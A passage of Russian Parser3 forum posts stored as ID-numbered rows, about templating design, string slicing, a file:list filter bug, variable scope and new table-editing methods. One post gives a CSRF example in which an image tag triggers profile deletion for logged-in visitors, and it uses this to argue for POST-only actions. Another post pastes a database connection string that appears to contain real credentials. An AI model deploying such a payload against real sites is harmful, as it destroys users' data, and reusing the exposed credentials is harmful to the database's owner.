в котором, в его единственный слот(слоты), вставлен начальный grid некоторо.\
\
Т.е. разные и темы и шаблоны могут уложиться, как методы всего одного класса, одно вложено в другое, \
по сути (вопрос поддержки имен я пока вынесу вообще за скобки, потому что под вопросом рабочая ли схема в принципе)\
\
В общем, я хочу пройти путь велосипедостроения, не столько даже ради самого велосипеда, сколько, чтобы глубже понять вообще аспект шаблонизации и какие приемы удачны, а какие нет и почему.\
\
\
Меня больше беспокоит то, что я использую ^вызовы и junction в параметризации, и тут хотелось бы попробовать не врюхаться в ^process,\
но что-то я начинаю верить в это все меньше.\
\
\
[quote]Я не понял как вы будете темы менять...\
В последнем куске кода есть явные ссылки на Тему2 и Тему1. \
Если тему пользователь выберет в настройках сайта, как будет выглядеть ваш main?\
[/quote] \
\
Ну пример был очень абстрактный, и малопрактичный, если речь идет о том, чтобы тягать в один рендер куски из разных тем.\
А если под темами понимать, то что описано выше, т.е. некие именованные пред-конфигурации одного шаблона, \
то выглядеть будет примерно так:\
\
[code]\
@main[]\
\
   $UsrTheme[ThemeWide]\
\
   ^Tpl:[$UsrTheme][\
      $.Title[Наша страница]\
   ]\
\
@CLASS\
Tpl\
\
# в данном случае под темой сделаем, допустим, разные конфигурации одного шаблона\
# например, используем один Grid, но меняем размеры шрифта\
\
\
@ThemeWide[_param]\
   $_conf[\
      $.Font[large]\
   ]\
   ^_conf.add[$_param]\
   ^GridCommon[$_conf]\
\
\
@ThemeCozy[_param]\
   $_conf[\
      $.Font[small]\
   ]\
   ^_conf.add[$_param]\
   ^GridCommon[$_conf]\
\
@GridСommon[_param]\
   $_slot[\
      $.Font[medium]\
      $.Title[undefined]\
   ]\
   ^_slot.add[$_param]\
\
   <html>\
      <body>\
         <h1 style=\"font-size:$_slot.Font\">$_slot.Title</h1>\
      </body>\
   </html>\
[/code]\
\
\
\
Меня больше беспокоит, что я использую вложенные junction и вляпаюсь в какой-нить process,\
но это будет касаться момента конфигурации шаблона(пакета), тога я могу пойти по методу assign,\
\
но вот идею, что шаблон - это пакет шаблончиков, которые есть просто методы, \
и которые можно вкладывать бесконечно друг в друга, что есть нативное свойства Парсера,\
хочется доиграть."
"81499","Спасибо за совет,\
но у вас скорее речь уже о структуре страниц и связки их с правами, функциональность, и прочим.\
\
И конечно это все хранить лучше в базе, я для наглядности нарисовал в коде разные урлы.\
\
Меня же интересует реализация самого шаблонизатора. То есть где одно стыкуется в другое, как это инициализировать, как вызывать."
"81500","Я вообще не использую вложенные auto.p (и вам советую) - только тот что конфиг и тот что в корне, т.е. 2 auto.p на весь сайт,\
если речь идет о реальных папках для веб страниц.\
\
Более того, не использую и реальные папки для веб-страниц (да и мало уже кто использует).\
\
Мне кажется, почти все уже делают RewriteEngine любого урла (кроме если это реальный файл типа .css ли .js или .jpg)\
на один корневой _index.html который есть точка старта движка.\
\
внутри уже можно спокойно обрабатывать любую структуру URL\
вызывать нужный контент, и так далее...\
\
все равно по-хорошему все должно быть в БД, поэтому смысла нет поддерживать реальные веб-папки"
"81501","Дело не во вложенном auto.p, его может и не быть. Суть именно в том, как сделать чтобы в отдельно взятом каталоге (и ниже) \"вышестоящий\" код вообще никак не обрабатывался, только конфигурационный.\
\
По поводу реврайтов я всё понимаю. Говорят еще на юниксе надо работать ;) \
Но мир не идеален. И если например есть сервер, напичканый множеством разноплановых сервисов в десятки мегабайт кода, на котором работали без изначально разработанной архитектуры (иногда и вовсе без взаимодействия) несколько разработчиков с разными подходами, код которых трогать категорически нельзя, во всю эту махину бывает очень нужно врезать некий модуль, который будет работать в своем каталоге, том же пространстве, но независимо от внешнего окружения"
"81502","^$something.split[ ;lh] - ругается на неожиданную ;.\
\
^$something.split[{ };lh] - ругается.\
^$something.split[^ ;lh] - ругается.\
$space[ ]\
^$something.split[$space;lh] - ругается.\
\
:-) Что ещё?"
"81503","[code]$s[что не так?]\
$t[^s.split[ ;lh]]\
[/code]"
"81506","Вы пишете про KISS, но придумываете какие-то сложные абстракции: гриды, слоты и пр. Почему-то решили, что junction-code нужен для шаблонизации, хотя это классические замыкания. Зачем так все усложнять не понятно совсем.\
\
[quote]В общем, я хочу пройти путь велосипедостроения, не столько даже ради самого велосипеда, сколько, чтобы глубже понять вообще аспект шаблонизации и какие приемы удачны, а какие нет и почему.[/quote]\
\
Я не знаю способа сразу придумать удачное решение, пока не попробуете идею в реальных проектах.\
\
Свой движок я делал исходя из той же самой идеи: лучший шаблонизатор для Парсера — сам Парсер. Сначала был реализован простейший механизм работы, который взят из PHP-ешного шаблонизатора Smarty. Взяли шаблон, напихали туда переменных и выполнили. Шаблон завернули в динамический класс, чтобы отделить его от кода основной программы, чтобы в шаблоне можно было не парится с глобальными переменными и шаблон можно было использовать несколько раз с разными данными в рамках одного запроса пользователя.\
\
Потом оказалось, что надо сделать нормальную модульность. G_Z предложил добавить наследование. И все это надо делать прямо из шаблона. Так появились директивы #@base и #@import. Теперь можно выстроить сколь угодно сложную логику работы шаблона. При этом шаблоны — это все те же функции Парсера, разложенные по файликам. Поэтому перенести любой кусок шаблона в новый проект не проблема — просто копируем файлик и импортируем его в другом шаблоне.\
\
p.s. В любом случае, надеюсь, что вы откроете исходный код своей библиотеки для сообщества. :)"
"81507","в Templet как я понимаю - технически шаблоном является класс (в который он автоматически оборачивается).\
\
Отсюда, у одной сущности шаблона Templet есть основной шаблон  корневого уровня, он же @main\
и могут быть методы - то есть декомпозиция на 1 уровень вниз.\
\
Поддерживается ли вложенность, я не знаю, я в процессе чтения доки по Templet.\
Но в основной идее, как я понял, шаблоне скорее плоский, чем многовложенный.\
\
Я же, предлагаю примерно то же, только у меня Шаблон это скорее набор более мелких элементарных шаблончиков (микро-гридов), которые состыкованы в опр.порядке\
и которым задан какой-то набор базовых параметров.\
\
Фактически, получается, что имеем некий репозитарий/библиотеку элементарных и не очень - микро-гридов(шаблончиков), \
из которых мы собираем конечную конституцию рендера.\
\
Грид - это элементарный динамический шаблон (т.е. с кодом типа циклов, итераций если надо), \
который имеет параметры:\
 - слоты: в них помещаются объекты которые могут быть отображены в body of main (строки, числа, код-на-парсер или вызовы вложенных гридов)\
 - опции (если грид умеет какие-то динамические вещи, для которых есть опции)\
\
Конфигурация - это уже конечная состывка гидов в конкретном порядке ч/з слоты и попутное присваивание им параметров.\
\
Конфигурацию можно отдельно хранить - тогда это будет Тема. Поскольку вложение в слоты кода и других гридов используется через junction, то\
такую тему можно безопасно сохранить в виде хеша. Потому, что код не исполнится до момента обращения к junction уже внутри конкретного грида.\
\
И потом на основе Темы-Конфигурации - перекрывать только часть параметров (через сложение хешей).\
\
Изначально задумалось это для того, чтобы можно было дробить шаблон на элементарные универсальные гриды, \
например какая-то \"сетка итераций\" может быть повторно использована в шаблоне форума, или галереи.\
\
То есть, это аналог \"компонентов\" в Desktop UI. \
\
Можно создать \"тяжелый\" компонент, тогда это будет скорее как обычный большой плоский шаблон. \
А можно наделать кучу универсальных и строить из них, как из кубиков, например как-то так:\
[code]\
   ^Tpl:MainGrid[\
      $.SideBar{\
         ^Tpl:TopPreview[\
            $.OptAmount(10)\
            $.HashItems[$Model.Content.Article.HotList]\
         ]\
         ^Tpl:TopPreview[\
            $.OptAmount(5)\
            $.SortOrder(desc)\
            $.HashItems[$Model.Content.News.HotList]\
         ]\
      }\
      $.Body{\
         ^Tpl:Article[\
            $.Title[$Model.Content.Article.Id.[100].Title]\
            $.Text[$Model.Content.Article.Id.[100].Body]\
         ]\
      }\
      $.Footer[Copyright (c) 2015]\
   ]\
[/code]\
\
Опять меня привело к той же \"серебярной пуле\" - микро-модельному паттерну... не понимаю, кручусь вокруг чего-то одного и того же, \
вроде бы и работает ведь, но как будто-все это укладывается во что-то одно, что я никак не могу охватить одним взглядом. \
\
В общем, пока вот такие фантазии, может быть даже и воспаленные :) ведь это еще все надо поженить с CSS и JS\
но к этому явно надо прикрутить assign, т.к это сразу погрязнет в process'ах.\
\
Но главное, что такую модель можно просто использовать и не заморачиваясь в сложные случаи, \
т.е. на 1-уровне декомпозиции - Page -> Header,Body,Footer. \
\
В общем, гипотеза нуждается в тычках палочкой, попробую на простом, посмотрю что получится...\
понятно, что надо урулить именование, и конфигурование сделать наверное не передачей одного супер-аргумента"
"81508","То есть, например, писать обёртку вокруг кода в верхних auto.p, которая будет отрабатывать или нет весь код внутри нее при опр.условиях. \
\
Этими условиями как раз могут быть текущие пути папок, в которых надо отключить верхние auto.p\
\
Это конечно, в случае если просто оставили legacy-код, а если все это активно живет, и в эти верхние auto.p кто-то что-то продолжает писать и обновлять свой код... тогда нужны советы местных гуру... ))"
"81509","Если нужно прям изолированное окружение, то надо тогда в этой папке в .htaccess прописать заново AddHandler Parser3... \
т.е. заново определить обработчик .p/.html\
поместить туда свой отдельный /cgi-bin/parser3.cgi\
тогда правда конфигурационный будет тоже свой\
\
зато точно отдельное окружние в отельной папке"
"81510","Sql-string такое не ест.\
\
Я готов собрать нужную строку руками из шести переменных и пунктуации, но не хватает инструмента. Как, скажем, взять 17 из 20150721032117? Как после этого работать с остатком строки?\
\
Короче, можно ли распиливать строку по указанному кол-ву символов, а не по разделителю?\
\
Или, может, что проще посоветуете? :-)"
"81511","[quote]При этом шаблоны — это все те же функции Парсера, разложенные по файликам. [/quote]\
\
Ну у меня то же самое, по идее. И по демонстрационному коду, выглядит даже примитивнее. Почти как уроки из документации.\
\
Просто удобнее понимать под Шаблоном - конечное и более целостное. \
А т.к. у меня один-метод это один микро-шаблон, по вашему метод шаблона.  \
\
Шаблон - это один класс.\
Гриды - это все методы этого класса (разложенные по файликам если надо). Причем они атомарно-независимы и нет среди них главного, кроме знания о них разработчиком. Они же микро-шаблоны.\
\
По коду я показал выше в примерах, что Парсер как раз используется нативно. Класс, методы, аргументы (в которых может быть вызов других методов) и всё.\
\
В общем, попробую на практике, до этого я в проектах использовал еще более примитивную реализацию.\
\
Все это опять начинает быть похожим на некогда отложенное мета-программирование, в котором придумался какой-то сферический микро-модельный паттерн в вакууме, но до игр с которым не дошли руки.\
\
Я только сейчас вспомнил, что он автоматически закрывал задачу по шаблонизации... но дело пока не дошло.\
\
Если когд-то будет хоть что-то рабочее из этого, я поделюсь несомненно."
"81513","[code]\
  $s[20150721032117]\
  ^s.match[^^(\\d{4})(\\d{2})(\\d{2})(\\d{2})(\\d{2})(\\d{2})][]{${match.1}-${match.2}-${match.3} ${match.4}:${match.5}:${match.6}}\
[/code]\
\
Если надо много раз сделать подобное, то стоит откомпилировать регулярку через объект regex."
"81515","Да. Потому что валидация, в большинстве случаев, не делается массово и компиляция смысла не имеет."
"81517","[code]\
  select str_to_date('20150721032117', '%Y%m%d%H%i%S')\
[/code]"
"81518","Ощущение, что глюк с параметром $.filter[]\
\
Хотел вывести список файлов, но добавить к опцям списка\
$.stat(false), тогда регулярку надо добавить через\
$.filter[regex] - а все падает.\
\
\
[code]\
# вот так работает\
$list[^file:list[/path;\\.p^$] \
\
# вот так нет - пишет called with invalid option\
$list[^file:list[/path;\
   $.filter[\\.p^$]\
]]\
\
# так работает, но без regexp'a получается\
$list[^file:list[/path;\
   $.stat(false)\
]]\
[/code]\
\
P.S.: На всякий случай: \
PARSER_VERSION = 3.4.3 (compiled on i686-pc-linux-gnu)"
"81519","[quote]Переопределение request:document-root на этот вложенный каталог не помогает - корневоый auto все равно обрабатывается (при этом слетают все пути подключаемых файлов)\
[/quote]\
\
В каком месте переопределяли? Если делать это в методе conf в auto.p, что рядом с parser3.cgi, то все должно получиться. А путь к нему можно переопределить в .htaccess (SetEnv CGI_PARSER_CONFIG /some/path/auto-special.p, в котором будет задан другой $request:document-root).\
\
Либо можно положить в cgi-bin подобный враппер и написать в этой директории Action на него...\
\
[b]#!/bin/sh\
DOCUMENT_ROOT=/another/dir\
./parser3.cgi\
[/b]\
Либо, как вам предложили, mv auto.p auto-real.p, а в auto.p код, проверяющий $request:uri и в случае несовпадения с исключением делающий ^use[/auto-real.p].\
\
Варианты почти всегда есть, вопрос в их красивости. :)"
"81520","#!/bin/sh\
DOCUMENT_ROOT=/another/dir\
./parser3.cgi"
"81521","[code]\
$_tmp[^hash::create[]]\
$_tmp.hfile[^hashfile::open[/hashfile_1]]\
$_tmp.hfile.key1[value1]\
^_tmp.hfile.release[]\
\
$_tmp.hfilenew[^hashfile::open[/hashfile_1]]\
#\
# this hashfile is already opened, use existing variable :(\
#\
[/code]"
"81522","... а в текущем для «повторного открытия» достаточно снова обратиться к тому же объекту. Про это написано в документации.\
\
p.s. http://www.parser.ru/forum/?id=71566"
"81523","[code]  $list[^file:list[./;$.filter[\\.p^$]]]\
  ^json:string[$list;$.indent(true)]\
\
  $list[^file:list[./;$.filter[\\.p^$] $.stat(true)]]\
  ^json:string[$list;$.indent(true)][/code]"
"81525","Ради чистоты эксперимента создал чистое окружение\
в отдельной папке, в новом виртуальном хосте.\
\
в auto.p(conf) и auto.p(/) ничего сверх-default'ного\
\
в index.html - скопипастил ваш код\
\
ErrorSource= list\
ErrorType= parser.runtime\
ErrorComment= called with invalid option\
\
[code]\
  $list[^file:list[./;$.filter[\\.p^$]]]\
  ^json:string[$list;$.indent(true)]\
\
  $list[^file:list[./;$.filter[\\.p^$] $.stat(true)]]\
  ^json:string[$list;$.indent(true)]\
[/code]\
\
Parser сам не собирал, скачал из раздела \"Скачать\""
"81526","$ tar -xvzf parser3_4_4b_debian6_cgi_xml.tar.gz\
\
gzip: stdin: not in gzip format\
tar: Child returned status 1\
tar: Error is not recoverable: exiting now\
\
-----------\
\
И там в ChangeLog за 2013 год, что-то есть про file:list как раз с опциями $.filter"
"81527","http://www.parser.ru/forum/?id=79337\
\
В HEAD — http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/classes/file.C?r1=1.229&r2=1.230\
\
p.s. Так что лучше жить на HEAD, тем более, что под Юникс сборка тривиальна. :)"
"81528","Скачал ночную сборку:\
parser3_4_4b_debian6_cgi_xml.tar.gz\
\
Штатный Archive Manager в Nautilus (Ubuntu 12.04) ругнулся на попытку: Extract Here\
Попробовал из консоли: tar -xvzf parser3_4_4b_debian6_cgi_xml.tar.gz\
\
одна ошибка: \
gzip: stdin: not in gzip format\
tar: Child returned status 1\
tar: Error is not recoverable: exiting now\
\
опытным путем, понял, что это не .gz, а .zip похоже \
т.к. автоматически применяемый \
ключ -z, --gzip, --gunzip, --ungzip  форсит именно эти архиваторы\
\
а tar -xvf (без указания архиватора) распаковывает.\
\
Осталось легкое ощущение, что [i][b]_что-то_пошло_не_так_[/b][/i]\
и поскольку не очень знаком с контейнером tar, на предмет доверия целостности,\
у меня возникли наведённые сомнения по поводу содержания, и того что там должно быть.\
\
У меня два файла:\
README\
parser3.cgi\
\
смущает, что parser3.cgi весит аж 11.5 Mb, против ~2.0 Mb parser.3.4.3\
\
Это так потолстел парсер? \
Или это билд какой-то \"быстрый\" без глубокой оптимизации процесса компиляции?"
"81529","Сделайте strip бинарник и он резко похудеет"
"81530","Конкретно тут можно и мидом обойтись:\
\
[code]$s[20150721032117]\
$s[^s.mid(0;4)-^s.mid(4;2)-^s.mid(6;2) ^s.mid(8;2):^s.mid(10;2):^s.mid(12;2)][/code]"
"81532","С мидами гораздо короче и нагляднее, а если не надо обрабатывать десятки и сотни тысяч строк, то скорость не важна же, все мы знаем ;)"
"81533","Не понимаю баг это или фича, или почему такое поведение:\
\
Почему $class_arg - пустая, а $class_arg_2 - со значением?\
\
[code]\
@main[]\
  $Obj[^MyClass::create[arg_for_class]]\
  ^Obj.method[]\
\
\
@CLASS\
MyClass\
\
@create[class_arg]\
  $class_arg[$class_arg]\
  $class_arg_2[$class_arg]\
  $class_var[class_var]\
  $UPPER_VAR[UPPER_CLASS_VAR]\
\
\
@method[]\
  class_arg = $class_arg - $self.class_arg <br>\
  class_arg_2 = $class_arg_2 - $self.class_arg_2 <br>\
  class_var = $class_var - $self.class_var <br>\
  UPPER_VAR = $UPPER_VAR - $self.UPPER_VAR <br>\
\
# Результат вызова метода:\
# class_arg = <пусто> - <пусто>  \
# class_arg_2 = arg_for_class - arg_for_class \
# class_var = class_var - class_var \
# UPPER_VAR = UPPER_CLASS_VAR - UPPER_CLASS_VAR \
\
[/code]"
"81534","Аргумент метода == локальная переменная метода."
"81535","Воссоздать в чистом примере пока не могу, \
но у меня поймался глюк - пропала видимость в методах - причем любых вручную объявленных переменных внутри конструктора (locals нет, ни в @OPTIONS ни у конструктора) - кроме UPPER_CASED переменных.\
\
Но каким-то чудом\
$SOME_VAR[value] - видна была, а тут же ниже\
$some_var[value] - нет\
\
Обе к аргументам или к чему-либо другому не относились, т.е. имена уникальны по всему коду. Никакой магии с process'ами нет вообще. \
\
Есть ли какие-то недокументированные привилегии у них по видимости? Такое поведение ведь невозможно случайно вызвать."
"81537","[quote]опытным путем, понял, что это не .gz, а .zip похоже\
т.к. автоматически применяемый\
ключ -z, --gzip, --gunzip, --ungzip форсит именно эти архиваторы\
а tar -xvf (без указания архиватора) распаковывает.\
[/quote]\
\
Нет, на сайте именно gzip. Но иногда браузеры/explorer могут сами разжать gzip, и тогда получается .tar, \
который действительно распаковывается без опции -z. А вообще на сайте все OK:\
\
> wget http://www.parser.ru/f/1/download/nightly/parser3_4_4b_debian6_cgi_xml.tar.gz\
..\
2015-07-22 14:12:23 (58.9 MB/s) - ‘parser3_4_4b_debian6_cgi_xml.tar.gz’ saved [4501388/4501388]\
> tar -xvzf parser3_4_4b_debian6_cgi_xml.tar.gz\
README\
parser3.cgi"
"81541","Это элементарные превентивные меры безопасности (безотносительно токенизации)\
\
Если не проверять метод, то можно запостить на каком-то посещаемом ресурсе, вот такую \"битую картинку\":\
\
[code]\
<img src=\"http://yoursite/?myprofile=delete\" />\
[/code]\
\
Где если среди них попадутся ваши залогиненные пользователи, то они самоудалятся.\
\
В то время, как POST так не засунешь, и внедрить форму будет посложнее, да и на каждый чих браузер будет переспрашивать про повторную отсылку данных или в этом духе.\
\
Плюс пересылка некоторых данных, какая-никакая, но в бинарном формате, а не в адресной строке.\
\
Понятно, что все action'ы лучше сразу закрывать токенизацией, но \
так как минимум можно снять первичную паразитную нагрузку."
"81542","А что мешает проверить $env:REQUEST_METHOD или $request:method (доступен в HEAD)?"
"81543","Конечно, понятно, что в случае POST - всё придет в $form, а нам главное что-то конкретное получить именно ч/з POST, но хочется более жесткого контроля над источниками параметров.\
\
GET, вообще структурно не равная и не взаимоисключающая сущность в приложении к другим методам.\
\
По сути GET - есть всегда, а METHOD=GET, означет лишь отстутствие других методов.\
\
Нет, я конечно набросал более высокоуровневное окружение, которое фильтрует плохие названия переменных, невалидные строки в урл-е, и попутно раскидывает по Get, Post, плюс/минус получает ожидаемые структуры.\
\
Но, получается, что приходится в Парсере возиться с созданием \"низкоуровневой\" обвязки (не хуже Перла), т.к выглядит это так:\
\
если METHOD=POST, \
то закидываем в PostVars= весь $form:\
потом парсим по &,= $request:query (потому что неоткуда больше)\
и удаляем одноименные переменные из PostVars, кладя их в GetVars\
\
А от Парсера хочется более высокоуровневых фишек из коробки."
"81546","На создание более уютного высокоуровневого окружения, конечно, ушло время, но теперь мне все нравится."
"81548","Сабж.\
\
Недавно наступив на грабли (и наивно полагая), что:\
[code]\
@create[arg]\
$arg[$arg] \
[/code]\
\
$arg - станет public-переменной в контексте класса, где я  \"подхватил\" эту глупость, уже не помню (казалось, я где-то видел, что-то типа: $arghash[^hash::create[$arghash]] (хотя очевидный смысл данного, был создать объект хеш в любом случае, даже если аргумент пустой), но почему-то казалось, что где-то оно работало как автоматическая декларация public-переменной.\
\
В общем, поняв, что где-то я мог оставить public-переменную одноименной аргументу конструктора/метода, я сначала решил попробовать поступить просто: \
\
пройтись по конструкторам, где предполагались public-переменные, которые были декларированый без указания $self, и просто заменить автоматически конкретные $var на $self.var по всему классу. Проверил замена прошла корректно (с точки зрения редактора).\
\
Но на первом же классе (статический между прочим),\
код сразу поламался, где-то в методах.\
\
Почему, и где сейчас руки не доходят, нет времени, потом обязательно приведу все в более академический вид. И поэтому пока оставил как есть.\
\
Но собственно сабж?"
"81549","$var -- переменная сначала ищется среди локальных переменных (включая input переменные), потом среди переменных класса\
$self.var -- переменная ищется только среди переменных класса\
\
\
[quote]казалось, я где-то видел, что-то типа: $arghash[^hash::create[$arghash]] (хотя очевидный смысл данного, был создать объект хеш в любом случае, даже если аргумент пустой[/quote]\
\
не только.\
второй смысл -- сделать shallow copy переданого хэша для того, чтобы защитить его от случайного изменения внутри метода (они-же передаются по ссылке):\
[code]\
@main[]\
$h[\
	$.a[1]\
]\
^m1[$h]\
=$h.b=\
^m2[$h]\
=$h.b=\
\
@m1[h]\
$h[^hash::create[$h]]\
$h.b[1]\
\
@m2[h]\
$h.b[2]\
[/code]\
\
=>\
==\
=2="
"81551","С Шаблонизацией все стало более/менее ясно на практике, промежуточные выводы, что я вынес:\
\
- От junction'а лучше отказаться сразу, т.к. вся его красота применения для шаблона, перечеркивается его контекстом исполнения, а нам чаще нужен внутренний (по месту вызова). И вообще, толкать код как параметр шаблона, это в 99% попытка нахардкодить и запихнуть побольше \"Контроллера\" в \"Представление\" (ИМХО). \
\
- [i]В идеале[/i], шаблон должен быть не только черным ящиком, но и желательно написан в максимально декларативном стиле. \
\
В остальном, простая реализация на коленках шаблона, как класса с методами-подшаблонами, не выявила пока никаких особых проблем или сложностей. Все до крайности просто и работает.\
\
В общем, дело подошло к Контроллеру... а точнее его реализации.\
\
Что к нему должно относиться? Пока, как я понимаю:\
1. Сбор/Разбор внешних данных и маппинг их к опр.обработчикам или как? Например, части урла и +/- get-параметры, учавствуют в навигации, и хочется иметь какой-то унифицированный подход в сборке-разборке всей этой uri-строки.\
\
Т.е. часть из них, могут быть командами, и их не надо удерживать для генерации дальнейших ссылок, а какие-то надо. \
\
А вот если, надо получить урл логического возврата в предыдущий раздел, то желательно упаковать и переменные предыдущего состояния.\
\
Например, у меня есть список картинок с постраничной навигаций, я нахожусь на 2-ой странице:\
[code] /imglist/?page=2[/code]\
\
я хочу открыть картинку, там что-то пощелкать\
[code] /imglist/view?id=001[/code]\
\
и вернуться назад к списку на то же место, вариантов масса, хочется узнать решения, прошедшие практикой и опытом.\
 самый уродливый, это тащить ?backurl= как доп.параметр\
\
 приемлемый, это писать часть логики навигации в cookie (в конце-концов, такой же http-header, почему нет)\
\
 ну или обыграть построением пути в urle:\
[code] /imglist/2/view/001[/code]\
\
 тогда вроде и выглядит логично, но надо иметь четкий порядок, иначе выпадание одного под-пути, поламает все.\
\
2. Движок/управление самими \"компонентами навигации\". Простой пример (как я понимаю) - это механизм постраничной навигация (паджинация) - это как раз задача контроллера.\
\
Вот есть к этому всему какой-то хороший/унифицированный подход? Или кто как сделал? У меня конечно свои мысли есть, но нет столько времени опробовать все сорта граблей."
"81552","От контролера требуется три вещи: взять запрос пользователя, найти и вызвать обработчик для этого запроса (например по урлу), вернуть ответ пользователю.\
\
В Парсере есть встроенный фреймворк для этого — http://www.parser.ru/docs/lang/mainclass.htm. Штука очень простая, но все эти задачи решает.\
\
В больших проектах хочется «единую точку входа», модульность, модели, внешние шаблоны, консольные скрипты и пр. Для этого никаких унифицированных подходов нет. MVC—шаблон это очень общая идея, вариантов реализации для скриптовых языков очень много. Можно выбрать из готовых идей или придумать своё. :)\
\
Идеи PFа есть в — http://www.parser.ru/forum/?id=62238. Ветка старая и некоторые вещи уже поменялись, поэтому стоит почитать файл TECHNOTES в корне библиотеки. Для шаблонизатора и ОРМа документация есть в соответствующих папках. Комплексный пример приложения — https://bitbucket.org/ovolchkov/pf-blog.\
\
p.s. В PF'е буквально десяток классов решают все задачи MVC и разобраться в их коде не очень сложно. Заодно и сдокументацией поможете."
"81554","В HEAD версии (http://www.parser.ru/download/nightly/) добавлены возможности для редактирования таблиц:\
\
$table.column[string] - изменяет колонку в текущей строке\
^table.insert{row} - вставляет ряд на место текущей строки\
^table.delete[] - удаляет текущую строку\
\
Вопрос - этого функционала достаточно или мы что-то забыли?\
\
P.S. Возможность хранить в таблице не только строки есть в планах, но не в ближайшей версии."
"81555","По поводу insert может добавить второй параметр, в котором указывать после какой строки вставлять."
"81557","Конечно можно делать offset, но мы за простоту )"
"81558","Вот как раз ради простоты и сделано без параметра. :) Добавление ^таблица.offset[set](число) перед вызовом не делает код заметно длиннее.\
А параметр у insert даже был сделан (индекс был первым необязательным параметром), но потом возникли вопросы - а хочется и -1 передать, и чтобы и абсолютный, и относительно текущей строки индекс был. И что делать, если индекс больше числа строк? Нет параметра - нет вопросов. :) Тут надо на реальных задачах смотреть, обычно вставление или в начало, или в конец."
"81559","Меня все время вгонят в стопор их порядок в парсере, обычно не обязательные параметры идут в конец, тут же их порядок иногда не логичен )\
Например\
[code]^file::base64[закодированное] \
^file::base64[text|binary;имя файла;закодированное;опции][/code]\
Почему text|binary ;имя файла; ставится перед закодированное. Не логично , лично меня это путает.\
Еще пример смены порядка, в load тоже самое\
[code]^table::create{табличные_данные} \
^table::create[nameless]{табличные_данные}[/code]\
Я конечно понимаю, что читают слева направо и вы переносите в самое начало чтобы было легче прочитать потом код, но все равно ..."
"81560","[quote]^table.insert{row} - вставляет ряд на место текущей строки[/quote]\
со сдвигом вниз я так понимаю?\
тогда еще нужен по аналогии\
[quote]^table.update{row} - вставляет вместо текущей строки[/quote]\
\
row - это строка? можно ли сделать передачу в эти методы хеша, с ключами-именами колоннок?\
типа \
[code]^table.locate(...)\
$h[$table.fields]\
... что то сделали с $h ...\
^table.update{$h}[/code]"
"81561","[quote]со сдвигом вниз я так понимаю?[/quote]\
\
Да.\
\
[quote]^table.update{row} - вставляет вместо текущей строки[/quote]\
\
Это эквивалентно ^table.delete[] ^table.insert{row}. Хотя если будут еще желающие, то можно сделать, но назвал бы я этот метод replace.\
\
[quote]можно ли сделать передачу в эти методы хеша, [/quote]\
\
Неплохая идея, и для append тоже. Оно конечно менее эффективно, но синтаксис хеша куда приятнее синтаксиса массива.\
\
[code]^table.append{some data with tainted tabs} vs\
^table.append[ $.c1[any data] $.c4[any data] ]\
[/code]"
"81562","я думаю, что так просто исторически сложилось и file::base64 сделан по аналогу древнего file::load, который все равно уже не поменять"
"81563","[code]Это эквивалентно ^table.delete[] ^table.insert{row}[/code]\
если в update можно будет передавать хэш, а не только целиком строку - то не совсем эквивалентно. А вообще один оператор просто красивше ;)\
\
никогда не понимал, кстати, зачем нужно два оператора в высокоуровневых языках - replace и update, если один из них частный случай второго (пара insert/append - аналогично).\
\
я за один update ;)\
[code]^table.update{$string}\
^table.update{$hash}[/code]"
"81564","[code]$table.column[string][/code]\
\
будет ли работать с nameless-таблицами?\
\
[code]$table.1[string][/code]"
"81565","но чтобы можно было не повторять всю поля таблицы, все чего нет оставлять пустыми полями.\
Хотя когда идет строковое добавление удобно в экселе поля писать и потом просто копи паст )."
"81566","[quote]но чтобы можно было не повторять всю поля таблицы, все чего нет оставлять пустыми полями.[/quote]\
в смысле пустыми? обнулять?\
[code]^table.update{\
  $.c1[1] \
  $.c3[3] \
}[/code]\
должен записать значения в c1 и c3, а c2 оставить как было"
"81567","Для insert обнулять, для update оставлять что было )"
"81572","Да, работает."
"81573","1. Очень не хватало получение кода символа, банальный chr(code)\
\
2. Очень печалит невозможность изменить произвольный набор символов(байтов) в binary-моде в файле, открытым как binary. \
Issue: Столкнулся с тем, что был файл сложного формата, десктопного ПО, который можно было удобно кастомизировать заменяя часть байт.\
Но средствами Парсера это сделать нельзя. Он пишет только в text-моде, т.е. форматирует CRLF и так далее."
"81574","Хотя согласен, что $.from $.to - неудачная и поспешная мысль.\
\
Потому, что условия могут быть гибче и сложнее.\
\
Тогда, может как раз к select-у добавить $.delete ?\
\
В общем, хочется читабельности, тем более, что create результатов select'a как раз \"имитирует\" вложенные подзапросы средствами Парсера."
"81575","[code]$t[\
  ^table::create[$t];\
  $.filter($t.id > 10 && $t.id<20)\
][/code]\
\
опять же ваши параметры метода from/to подразумевают, что в таблице есть эти самые id?\
Upd.\
Хотя для этого уже существует select\
[code]$t[^t.select($t.id > 10 && $t.id<20)][/code]"
"81579","Семантическая читабельность от этого только выше и порядок их следования тоже, и форматирование длинных аргументов...\
\
В общем практика показала, что \
[code]\
 ^some.method[\
   $.named_param()\
   $.named_param2()\
 ]\
[/code]\
\
это очень удобно, читабельно и првентивный удар по багам."
"81580","В таблицах парсера нет индексов, какой upsert?"
"81582","Есть куча утилит, которые это сделают намного быстрее и лучше чем мы внутри самого парсера."
"81586","\"This page summarizes the INSERT ... ON CONFLICT UPDATE patch. This feature is popularly known as \"UPSERT\". \"\
\
https://wiki.postgresql.org/wiki/UPSERT"
"81589","Мне показалось, ты про replace в mysql написал, что он не upsert. :)\
Что касается парсера, то возможно действительно полезнее сделать update.\
Хотя и он эмулируется, пусть и не в 2 команды, как \"replace\".\
\
[code]@update[t;h]\
^h.foreach[k;v]{\
  $t.$k[$v]\
}\
[/code]"
"81592","Всё работало.\
\
В третий раз на странице понадобилось слазить в базу (ту же, что и в первые два).\
\
Скопипастил строку с коннектом и всё вокруг, подправив под задачу:\
\
[code]^if(in '/news/industrial'){\
	$type(2)}{\
	^if(in '/news/corporate'){\
		$type(1)}{\
		$type(3)}\
}\
$sql[SELECT * FROM `news` where type = $type ORDER BY `datetime` DESC]\
^connect[mysql://login:pass@db03.provider.ru/vmoroz2_dh?charset=cp1251]{\
$categorynews[^table::sql{$sql}]\
}\
<ul>^categorynews.menu{<li>ыть</li>}</ul>[/code]\
\
И ошибка. Причём в браузере не анхендлд, а сразу то же, что и в логе:\
\
[b]/auto.p(736:2): 'mysql://vmoroz2_vmoroz2:1@db03.hostline.ru/vmoroz2_dh?charset=cp1251' $SQL:drivers table must be defined [parser.runtime][/b]\
\
736:2 - это начало строки про ^connect.\
\
Как быть? Подскажите заклинание, пожалуйста :-(."
